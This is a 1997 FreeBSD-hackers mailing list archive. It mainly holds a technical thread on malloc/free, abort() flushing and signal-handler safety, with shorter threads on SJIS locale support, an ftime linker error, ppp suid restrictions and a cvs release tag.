<199709190954.TAA11275@godzilla.zeta.org.au> To: mike@smith.net.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, hackers@freebsd.org, julian@whistle.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>> probably a printf or other stdio function >> >>I *know* this. 8) I'm just trying to find the sucker. The 'ddd' example >>looked like it was spinning in abort(), which doesn't look like it will >>actually come back and call malloc() again. In olden days, >... >Some time ago abort() was changed to that it would call __flush(), >because some standard said so. I still think this is unwise. Standard C says that whether streams are flushed by abort() is implementation-defined. POSIX says that abort() shall have the effects of fclose() if abort() causes process termination, but shall have no effects otherwise. Our implementation doesn't quite confirm to this, since the effects of flushing can be detected: 1. setvbuf() to unbuffered and size 2, then putc() 1 byte, then _exit(). I think it is guaranteed that 0 bytes are written. 2. As in (1), but set up a SIGABRT handler so that abort() doesn't cause termination, and call abort() before _exit(). Flushing in abort() should be safe because abort() is not among the functions that are safe to call from a signal handler :-). Bruce From owner-freebsd-hackers Fri Sep 19 02:59:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA00445 for hackers-outgoing; Fri, 19 Sep 1997 02:59:23 -0700 (PDT) Received: from nagual.pp.ru (ache@ache.relcom.ru [194.58.229.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA00436 for ; Fri, 19 Sep 1997 02:59:12 -0700 (PDT) Received: (from ache@localhost) by nagual.pp.ru (8.8.7/8.8.7) id NAA00990; Fri, 19 Sep 1997 13:58:50 +0400 (MSD) Date: Fri, 19 Sep 1997 13:58:48 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: RFC: japanese LOCALE stuff In-Reply-To: <3421AEC3.446B9B3D@whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 18 Sep 1997, Julian Elischer wrote: > Can someone who understands all this RUNE stuff better than I do, > please look at it. (e.g. Ache) I doubt I can help much here since I don't know anything about Japanese code tables or language. Rune's idea itself are pretty simple but it isn't means that integration of SJIS would be easy or its way is known by me. We need some people (Japanese are better) who understand both SJIS and locale stuff. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Fri Sep 19 03:30:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA01974 for hackers-outgoing; Fri, 19 Sep 1997 03:30:01 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA01952; Fri, 19 Sep 1997 03:29:56 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id UAA12065; Fri, 19 Sep 1997 20:24:02 +1000 Date: Fri, 19 Sep 1997 20:24:02 +1000 From: Bruce Evans Message-Id: <199709191024.UAA12065@godzilla.zeta.org.au> To: bde@zeta.org.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, grog@lemis.com, hackers@freebsd.org, peter@spinner.dialix.com.au Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>STDC only allows operations on auto variables and assignment to static >>variables of type sig_atomic_t. We aren't STDC conformant either. ^volatile >>Operations on auto floating point variables may corrupt the floating >>point state. This isn't a problem in practice, since nothing useful >>can be done using only auto floating point variables. > >You could calculate pi... :-) I was going to say that this is more useless than usual since there is no way to output the results. However, I think the following works: volatile sig_atomic_t encoded_results[MANY]; void handler(int s) { int i; for (i = 0; i < MANY; ++i) encoded_results[i] = bit_of_pi(i) == 0 ? 1 : 2; } There is no way to calculate only a few bits per call since there is no way to keep track of state. Bruce From owner-freebsd-hackers Fri Sep 19 03:38:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA02386 for hackers-outgoing; Fri, 19 Sep 1997 03:38:04 -0700 (PDT) Received: from wired.ctech.ac.za (wired.ctech.ac.za [155.238.4.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA02379 for ; Fri, 19 Sep 1997 03:37:54 -0700 (PDT) Received: from wired.ctech.ac.za (localhost [127.0.0.1]) by wired.ctech.ac.za (8.8.5/8.8.5) with SMTP id MAA03328 for ; Fri, 19 Sep 1997 12:37:26 +0200 (SAT) Message-ID: <342255E5.41C67EA6@wired.ctech.ac.za> Date: Fri, 19 Sep 1997 12:37:26 +0200 From: Jacques Hugo X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: hackers@FreeBSD.ORG Subject: BSD and crypto Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi there ... How can I get reference to the ftime(struct *tp) function without getting the Undefined symbol `_ftime' referenced from text segment error msg. I like to get access to the millitm field from the timeb structure. Am I screwing up with a library I'm not linking it with? Thanks for the help, guys. -Jacques From owner-freebsd-hackers Fri Sep 19 03:59:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03435 for hackers-outgoing; Fri, 19 Sep 1997 03:59:42 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA03427; Fri, 19 Sep 1997 03:59:36 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id MAA13266; Fri, 19 Sep 1997 12:58:34 +0200 (CEST) To: Bruce Evans cc: mike@smith.net.au, atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, hackers@freebsd.org, julian@whistle.com Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 19:54:38 +1000." <199709190954.TAA11275@godzilla.zeta.org.au> Date: Fri, 19 Sep 1997 12:58:34 +0200 Message-ID: <13264.874666714@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709190954.TAA11275@godzilla.zeta.org.au>, Bruce Evans writes: >>>> probably a printf or other stdio function >>> >>>I *know* this. 8) I'm just trying to find the sucker. The 'ddd' example >>>looked like it was spinning in abort(), which doesn't look like it will >>>actually come back and call malloc() again. In olden days, >>... >>Some time ago abort() was changed to that it would call __flush(), >>because some standard said so. I still think this is unwise. > >Standard C says that whether streams are flushed by abort() is >implementation-defined. POSIX says that abort() shall have the effects >of fclose() if abort() causes process termination, but shall have no >effects otherwise. Our implementation doesn't quite confirm to this, >since the effects of flushing can be detected: >1. setvbuf() to unbuffered and size 2, then putc() 1 byte, then _exit(). > I think it is guaranteed that 0 bytes are written. >2. As in (1), but set up a SIGABRT handler so that abort() doesn't cause > termination, and call abort() before _exit(). > >Flushing in abort() should be safe because abort() is not among the >functions that are safe to call from a signal handler :-). Bummer. So what should I do in malloc when I realize that continuing doesn't make sense ? kill (diesig, getpid()); ? for which value of diesig ? -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Fri Sep 19 04:09:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA03970 for hackers-outgoing; Fri, 19 Sep 1997 04:09:46 -0700 (PDT) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA03964; Fri, 19 Sep 1997 04:09:41 -0700 (PDT) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id EAA29935; Fri, 19 Sep 1997 04:09:01 -0700 (PDT) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id EAA21801; Fri, 19 Sep 1997 04:09:00 -0700 (PDT) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id EAA01819; Fri, 19 Sep 1997 04:08:58 -0700 (PDT) From: Don Lewis Message-Id: <199709191108.EAA01819@salsa.gv.tsc.tdk.com> Date: Fri, 19 Sep 1997 04:08:58 -0700 In-Reply-To: Bruce Evans "Re: Bug in malloc/free" (Sep 19, 7:09pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Bruce Evans , grog@lemis.com, peter@spinner.dialix.com.au Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, phk@critter.freebsd.dk Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sep 19, 7:09pm, Bruce Evans wrote: } Subject: Re: Bug in malloc/free } } We claim to be sort of POSIX conformant. Perhaps this is enough. We } aren't actually POSIX conformant. All the above "safe" routines may } clobber the global `errno'. Which is why I save and restore errno in signal handlers. --- Truck From owner-freebsd-hackers Fri Sep 19 04:20:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA04571 for hackers-outgoing; Fri, 19 Sep 1997 04:20:19 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA04563; Fri, 19 Sep 1997 04:20:12 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id NAA13343; Fri, 19 Sep 1997 13:19:29 +0200 (CEST) To: Bruce Evans cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, grog@lemis.com, hackers@FreeBSD.ORG, peter@spinner.dialix.com.au Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 20:24:02 +1000." <199709191024.UAA12065@godzilla.zeta.org.au> Date: Fri, 19 Sep 1997 13:19:29 +0200 Message-ID: <13341.874667969@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199709191024.UAA12065@godzilla.zeta.org.au>, Bruce Evans writes: >>>STDC only allows operations on auto variables and assignment to static >>>variables of type sig_atomic_t. We aren't STDC conformant either. > ^volatile >>>Operations on auto floating point variables may corrupt the floating >>>point state. This isn't a problem in practice, since nothing useful >>>can be done using only auto floating point variables. >> >>You could calculate pi... :-) > >I was going to say that this is more useless than usual since there is >no way to output the results. However, I think the following works: > > volatile sig_atomic_t encoded_results[MANY]; > > void handler(int s) { > int i; > > for (i = 0; i < MANY; ++i) > encoded_results[i] = bit_of_pi(i) == 0 ? 1 : 2; > } > >There is no way to calculate only a few bits per call since there is no >way to keep track of state. Wrong. A signal handler can have a private static variable. :-) -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Fri Sep 19 04:34:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA05437 for hackers-outgoing; Fri, 19 Sep 1997 04:34:05 -0700 (PDT) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA05432 for ; Fri, 19 Sep 1997 04:34:03 -0700 (PDT) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id EAA00184; Fri, 19 Sep 1997 04:32:43 -0700 (PDT) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id EAA22114; Fri, 19 Sep 1997 04:32:42 -0700 (PDT) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id EAA01920; Fri, 19 Sep 1997 04:32:37 -0700 (PDT) From: Don Lewis Message-Id: <199709191132.EAA01920@salsa.gv.tsc.tdk.com> Date: Fri, 19 Sep 1997 04:32:37 -0700 In-Reply-To: Darryl Okahata "Re: Bug in malloc/free (was: Memory leak in getservbyXXX?)" (Sep 18, 5:13pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: darrylo@sr.hp.com, "Jordan K. Hubbard" Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sep 18, 5:13pm, Darryl Okahata wrote: } Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) } > Man, I sure wish there was a copy of purify available for FreeBSD. } > It's great at catching stuff like this! :( } } Yeah, me too. Purify may be "black magic", but it's incredible at } how well it works. } } Anyway, if anyone has copious amounts of free time, they might want } to port "checker", a vaguely purify-like memory checker for } Linux/Solaris. It works by using a special patched version of GNU as } and runtime libraries. I've had very good luck with the bounds checker patches to gcc. You can find it at URL: . It's very good at finding the exact location of bugs like array overruns, incrementing pointers past the end of objects, attempting to access freed memory, etc. It's two big weaknesses are the inability to check signal handlers, and a vast appetite for CPU cycles. I've typically seen CPU usage increase by a factor of 10 to 20. --- Truck From owner-freebsd-hackers Fri Sep 19 04:37:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA05617 for hackers-outgoing; Fri, 19 Sep 1997 04:37:19 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA05612; Fri, 19 Sep 1997 04:37:15 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id VAA14034; Fri, 19 Sep 1997 21:33:53 +1000 Date: Fri, 19 Sep 1997 21:33:53 +1000 From: Bruce Evans Message-Id: <199709191133.VAA14034@godzilla.zeta.org.au> To: bde@zeta.org.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, julian@whistle.com, mike@smith.net.au Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >>Flushing in abort() should be safe because abort() is not among the >>functions that are safe to call from a signal handler :-). > >Bummer. > >So what should I do in malloc when I realize that continuing doesn't >make sense ? > > kill (diesig, getpid()); ? > for which value of diesig ? Calling abort() from malloc() should be safe because malloc() is not among the functions that are safe to call from a signal handler :-). Bruce From owner-freebsd-hackers Fri Sep 19 04:45:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA05941 for hackers-outgoing; Fri, 19 Sep 1997 04:45:31 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA05930; Fri, 19 Sep 1997 04:45:21 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id VAA14216; Fri, 19 Sep 1997 21:40:27 +1000 Date: Fri, 19 Sep 1997 21:40:27 +1000 From: Bruce Evans Message-Id: <199709191140.VAA14216@godzilla.zeta.org.au> To: bde@zeta.org.au, Don.Lewis@tsc.tdk.com, grog@lemis.com, peter@spinner.dialix.com.au Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, phk@critter.freebsd.dk Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >} We claim to be sort of POSIX conformant. Perhaps this is enough. We >} aren't actually POSIX conformant. All the above "safe" routines may >} clobber the global `errno'. > >Which is why I save and restore errno in signal handlers. OpenBSD has some fixes in this area. However, POSIX seems to say that it is unnecessary ("[the functions shall be reentrant ... without restriction]"). Bruce From owner-freebsd-hackers Fri Sep 19 05:01:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA06710 for hackers-outgoing; Fri, 19 Sep 1997 05:01:54 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA06705; Fri, 19 Sep 1997 05:01:49 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id VAA14696; Fri, 19 Sep 1997 21:58:23 +1000 Date: Fri, 19 Sep 1997 21:58:23 +1000 From: Bruce Evans Message-Id: <199709191158.VAA14696@godzilla.zeta.org.au> To: bde@zeta.org.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, grog@lemis.com, hackers@FreeBSD.ORG, peter@spinner.dialix.com.au Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >>There is no way to calculate only a few bits per call since there is no >>way to keep track of state. > >Wrong. A signal handler can have a private static variable. > >:-) Wrong :-). Such a variable would have static storage duration, so the usual restrictions apply - the behaviour is undefined if the variable is accessed, unless it has type volatile sig_atomic_t and the access is an assignment. Bruce From owner-freebsd-hackers Fri Sep 19 05:44:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA09042 for hackers-outgoing; Fri, 19 Sep 1997 05:44:15 -0700 (PDT) Received: from zwei.siemens.at (zwei.siemens.at [193.81.246.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA08916; Fri, 19 Sep 1997 05:42:46 -0700 (PDT) Received: from ws6303-f (root@firix [10.1.143.100]) by zwei.siemens.at with ESMTP id OAA25259; Fri, 19 Sep 1997 14:22:53 +0200 (MET DST) Received: from ws6423.gud.siemens.at (ws6423-f) by ws6303-f with ESMTP (1.40.112.8/16.2) id AA014021751; Fri, 19 Sep 1997 14:22:31 +0200 Received: by ws6423.gud.siemens.at (SMI-8.6/SMI-SVR4) id OAA10145; Fri, 19 Sep 1997 14:21:47 +0200 Date: Fri, 19 Sep 1997 14:21:47 +0200 From: lada@ws6303.gud.siemens.at (marino.ladavac@siemens.at) Message-Id: <199709191221.OAA10145@ws6423.gud.siemens.at> To: bde@zeta.org.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free Cc: mike@smith.net.au, atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, julian@whistle.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: ZOJEsCaDon/JxZZs6n5vnA== Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > >Flushing in abort() should be safe because abort() is not among the > >functions that are safe to call from a signal handler :-). > > Bummer. > > So what should I do in malloc when I realize that continuing doesn't > make sense ? > > kill (diesig, getpid()); ? > for which value of diesig ? raise( SIGABRT );? or the equivalent kill( getpid(), SIGABRT);? /Marino > > > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." > From owner-freebsd-hackers Fri Sep 19 05:51:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA09556 for hackers-outgoing; Fri, 19 Sep 1997 05:51:18 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA09546; Fri, 19 Sep 1997 05:51:13 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id OAA13894; Fri, 19 Sep 1997 14:50:07 +0200 (CEST) To: Bruce Evans cc: atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, hackers@freebsd.org, julian@whistle.com, mike@smith.net.au Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 21:33:53 +1000." <199709191133.VAA14034@godzilla.zeta.org.au> Date: Fri, 19 Sep 1997 14:50:07 +0200 Message-ID: <13892.874673407@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709191133.VAA14034@godzilla.zeta.org.au>, Bruce Evans writes: >>>Flushing in abort() should be safe because abort() is not among the >>>functions that are safe to call from a signal handler :-). >> >>Bummer. >> >>So what should I do in malloc when I realize that continuing doesn't >>make sense ? >> >> kill (diesig, getpid()); ? >> for which value of diesig ? > >Calling abort() from malloc() should be safe because malloc() is not >among the functions that are safe to call from a signal handler :-). I still seems to me that we need a new function to mean: "coredump, right now, no ifs, whens or buts. Thank you." -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Fri Sep 19 05:55:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA09850 for hackers-outgoing; Fri, 19 Sep 1997 05:55:32 -0700 (PDT) Received: from lsd.relcom.eu.net (ache@lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA09807; Fri, 19 Sep 1997 05:54:34 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id QAA22600; Fri, 19 Sep 1997 16:54:01 +0400 (MSD) Date: Fri, 19 Sep 1997 16:53:59 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: FreeBSD-Hackers List , Brian Somers cc: brian@freebsd.org Subject: Re: ppp restrictions In-Reply-To: <199709191130.MAA26624@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Brian Somers wrote: > > On Fri, 19 Sep 1997, Brian Somers wrote: > > > > > Without this restriction, any member of group network can alter the > > > routing table. > > > > Hmm. What network group is for? From the name it is supposed they can > > change such things as routing table, etc. network stuff. > > > > > :-( Personally, I have a little program (enclosed FYI) that > > > circumvents all of this - not just for ppp, but for all this sort of > > > stuff. > > > > You just demonstrate first bad effect of this change. Many people in real > > world will make the similar program to compensate this change and > > introduce even bigger security problem than was before under network group > > restriction completely. > > I think the best place to discuss this is on -hackers. Some people > think that ppp should not be suid at all, others like it the way it > was.... Too many things works only from root, it is not flexible. Lets consider suid abilities with and without suid requirements. If we have suid abilities without suid requirement, we need yet one level of restriction to separate them from normal user, it is "network" group currently. If we have suid requirements, we don't need "network" group and return to old model where all things are done from root. > Shall we continue the discussion there ? I'm easy either way. Ok, let it be -hackers. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Fri Sep 19 06:21:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA11251 for hackers-outgoing; Fri, 19 Sep 1997 06:21:10 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA11243; Fri, 19 Sep 1997 06:21:04 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id XAA17318; Fri, 19 Sep 1997 23:18:11 +1000 Date: Fri, 19 Sep 1997 23:18:11 +1000 From: Bruce Evans Message-Id: <199709191318.XAA17318@godzilla.zeta.org.au> To: bde@zeta.org.au, phk@critter.freebsd.dk Subject: Re: Bug in malloc/free Cc: atrens@nortel.ca, freebsd-bugs@freebsd.org, gram@cdsec.com, hackers@freebsd.org, julian@whistle.com, mike@smith.net.au Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >I still seems to me that we need a new function to mean: > "coredump, right now, no ifs, whens or buts. Thank you." A new signal, like SIGKILL except it generates cores, would be useful. We would have to fix all the assumptions that sigset_t == int to make room for another signal number. Bruce From owner-freebsd-hackers Fri Sep 19 06:21:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA11292 for hackers-outgoing; Fri, 19 Sep 1997 06:21:23 -0700 (PDT) Received: from ns.ineco.ryazan.su (root@ns.ineco.ryazan.su [194.58.169.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA11262 for ; Fri, 19 Sep 1997 06:21:12 -0700 (PDT) Received: from dialup.galion.ryazan.su (dialup.galion.ryazan.su [194.58.169.238]) by ns.ineco.ryazan.su (8.7.5.R.ML.S/Relcom-2A) with ESMTP id RAA12647 for ;Fri, 19 Sep 1997 17:20:12 +0400 Received: from mutant.galion.ryazan.su by server.galion.ryazan.su with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1457.7) id TFBS5KQB; Fri, 19 Sep 1997 17:19:11 +0400 Received: from localhost (romanp@localhost.galion.ryazan.su [127.0.0.1]) by mutant.galion.ryazan.su (8.8.5.R.S/Relcom-2A) with SMTP id RAA05846 ;Fri, 19 Sep 1997 17:21:22 +0400 (MSD) Date: Fri, 19 Sep 1997 17:21:21 +0400 (MSD) From: "Roman V. Palagin" To: Jacques Hugo cc: hackers@FreeBSD.ORG Subject: Re: BSD and crypto In-Reply-To: <342255E5.41C67EA6@wired.ctech.ac.za> Message-ID: Organization: Systems Integrator "RIGHT" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You should add -lcompat to command line. Or better use gettimeofday() Regards. ------------------------------------------------------------------------------- Roman V. Palagin Systems Integrator "RIGHT" Network Administrator http://www.galion.ryazan.su Internet Mail: romanp@mutant.galion.ryazan.su Tel: +7 (0912) 725638 ------------------------------------------------------------------------------- On Fri, 19 Sep 1997, Jacques Hugo wrote: > Hi there ... > > How can I get reference to the ftime(struct *tp) > function without getting the > > Undefined symbol `_ftime' referenced from text segment > > error msg. > > I like to get access to the millitm field from the > timeb structure. > > Am I screwing up with a library I'm not linking it with? > > Thanks for the help, guys. > > -Jacques > > From owner-freebsd-hackers Fri Sep 19 06:23:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA11467 for hackers-outgoing; Fri, 19 Sep 1997 06:23:55 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA11462 for ; Fri, 19 Sep 1997 06:23:51 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id GAA23935; Fri, 19 Sep 1997 06:24:08 -0700 (PDT) To: jgrosch@superior.mooseriver.com cc: hackers@FreeBSD.ORG Subject: Re: New cvs tag In-reply-to: Your message of "Thu, 18 Sep 1997 23:35:26 PDT." <19970918233526.47127@mooseriver.com> Date: Fri, 19 Sep 1997 06:24:08 -0700 Message-ID: <23932.874675448@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk When it's released, yes. > Since we are headed to 2.2.5 is there a cvs tag to pull 2.2.5, such as > "RELENG_2_2_5" ?? > > > Josef > > -- > Josef Grosch | Another day closer to a | FreeBSD 2.2.2 > jgrosch@MooseRiver.com | Micro$oft free world | UNIX for the masses > From owner-freebsd-hackers Fri Sep 19 07:15:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA14337 for hackers-outgoing; Fri, 19 Sep 1997 07:15:36 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA14313; Fri, 19 Sep 1997 07:15:22 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id HAA04957; Fri, 19 Sep 1997 07:15:19 -0700 (PDT) Message-ID: <19970919071518.15473@hydrogen.nike.efn.org> Date: Fri, 19 Sep 1997 07:15:18 -0700 From: John-Mark Gurney To: freebsd-bugs@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709191221.OAA10145@ws6423.gud.siemens.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199709191221.OAA10145@ws6423.gud.siemens.at>; from marino.ladavac@siemens.at on Fri, Sep 19, 1997 at 02:21:47PM +0200 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: 